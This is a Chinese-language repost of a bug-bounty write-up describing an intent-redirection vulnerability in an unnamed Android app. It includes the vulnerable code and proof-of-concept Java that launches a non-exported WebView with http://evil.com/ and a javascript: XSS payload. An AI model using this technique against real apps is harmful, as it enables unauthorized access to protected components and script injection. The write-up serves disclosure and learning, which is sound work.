我写这篇文章是为了分享我在 hackerone 的一个私人 bugbounty 程序中发现的一个有趣的 bug,首先我要感谢赛义德·阿卜杜勒哈菲兹帮助我开始做安卓渗透测试,并指导我,当然谢尔盖·托辛他的写作让我们从应用程序开始我们的旅程
此次攻击中有 2 项活动
-
第一个是活动(未导出),我们称之为“com.activity.webview”
-
第二个是(导出的)“`com.Deeplink Splash activity“`
首先,我下载了 apk com.private.mobileapp。然后开始进行静态分析,我发现下面的活动容易受到意图重定向的攻击,这是因为它使用了隐式意图,这可能导致打开未导出的活动和内容提供程序
DirectDeeplinkSplashactivity.java
homeActivityIntent = (android.content.Intent) intent2.getParcelableExtra("referrerActivity");
} else {
homeActivityIntent = activity.getHomeActivityIntent();
}
activity.startActivity(homeActivityIntent);
许多开发人员利用此功能并创建代理组件(活动、广播接收器和服务),这些组件接受嵌入的 Intent 并将其传递给危险方法,如startActivity()
、sendBroadcast()
等。这很危险,因为攻击者可以强制应用启动无法直接从其他应用启动的非导出组件,或者授予攻击者访问其内容提供商的权限。有时还会使用方法WebView将 URL 从字符串更改为对象,然后将其传递给。这违反了 Android 的安全设计Intent
Intent.parseUri()
startActivity()
,在查看了我们可以访问的受保护内容后,我发现了一个未导出活动的 webview,它以 url 作为参数那么让我们从概念证明开始吧:-
主程序
Intent extra = new Intent ();
extra.setClassName( "com.private.mobileapp" , "com.activity.webview" );
extra.putExtra( "url" , "http://evil.com/" );
Intent intent = new Intent ();
intent.setClassName( "com.private.mobileapp" , "com.DirectDeeplinkSplashactivity" );
intent.putExtra( "referrerActivity" , extra);
startActivity(intent);
运行移动应用程序 Boom 后,它就起作用了
让我们尝试一些 XSS payload 来提高影响力
主程序
Intent extra = new Intent();
extra.setClassName("com.private.mobileapp", "com.activity.webview");
extra.putExtra("url", "javascript://legitimate.com/%0aalert(1)");
Intent intent = new Intent();
intent.setClassName("com.private.mobileapp", "com.DirectDeeplinkSplashactivity");
intent.putExtra("referrerActivity", extra);
startActivity(intent);
然后我们收到了漂亮的警报
此时我决定先报告这个问题,他们试图提高影响力来访问一些私人文件(数据/数据/..)或访问未导出的内容提供商,但权限处理得很完美,所以我无法达到更高的水平
-
5 月 19 日报道
-
5 月 21 日分类
-
内部团队进行了分类,并决定将其定为中等严重程度 5 月 28 日
类似漏洞:https://blog.oversecured.com/Android-Access-to-app-protected-components/
An interesting Bug that I found in Android Mobile Application
https://medium.com/@jooelsaka/an-interesting-bug-that-i-found-in-android-mobile-application-becf25c8c4d8
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):我在 Android 移动应用程序中发现的一个有趣的 Bug